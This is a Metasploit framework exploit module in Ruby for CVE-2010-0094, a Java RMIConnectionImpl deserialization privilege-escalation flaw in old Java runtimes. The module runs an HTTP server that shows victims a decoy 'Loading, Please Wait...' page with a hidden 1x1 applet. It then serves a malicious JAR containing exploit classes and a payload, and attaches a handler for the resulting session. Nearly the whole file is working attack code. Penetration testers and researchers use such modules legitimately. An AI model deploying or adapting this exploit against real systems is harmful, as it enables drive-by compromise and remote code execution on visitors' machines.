modules/exploits/multi/browser/java_rmi_connection_impl.rb - master - githubmirror/metasploit-framework

modules/exploits/multi/browser/java_rmi_connection_impl.rb
111 строк3 KB
cgranleese-r7
Update info -d markdown
24 июн 2025, 13:21
24 июн 2025, 13:21a454217
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  #
  # Superceded by java_trusted_chain
  #
  # include Msf::Exploit::Remote::BrowserAutopwn
  # autopwn_info({ :javascript => false })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Java RMIConnectionImpl Deserialization Privilege Escalation',
        'Description' => %q{
          This module exploits a vulnerability in the Java Runtime Environment
          that allows to deserialize a MarshalledObject containing a custom
          classloader under a privileged context. The vulnerability affects
          version 6 prior to update 19 and version 5 prior to update 23.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Sami Koivu', # Discovery
          'Matthias Kaiser', # PoC
          'egypt' # metasploit module
        ],
        'References' => [
          [ 'CVE', '2010-0094' ],
          [ 'OSVDB', '63484' ],
          [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],
        ],
        'Platform' => [ 'java' ],
        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
        'Targets' => [
          [
            'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-03-31',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect(cli, get_resource() + '/', '')
        return
      end

      print_status("#{self.name} handling request")

      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
      return
    end

    paths = [
      [ "Exploit.class" ],
      [ "Exploit$1.class" ],
      [ "Exploit$1$1.class" ],
      [ "Exploit$2.class" ],
      [ "Payloader.class" ],
      [ "PayloadClassLoader.class" ],
      [ "payload.ser" ],
    ]

    p = regenerate_payload(cli)
    jar = p.encoded_jar
    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0, idx].join("/") + "/"
        if !(jar.entries.map { |e| e.name }.include?(full))
          jar.add_file(full, '')
        end
      end
      fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2010-0094", path), "rb")
      data = fd.read(fd.stat.size)
      jar.add_file(path.join("/"), data)
      fd.close
    end

    print_status("Sending Applet.jar")
    send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })

    handler(cli)
  end

  def generate_html
    html = "<html><head><title>Loading, Please Wait...</title></head>"
    html += "<body><center><p>Loading, Please Wait...</p></center>"
    html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
    html += "</applet></body></html>"
    return html
  end
end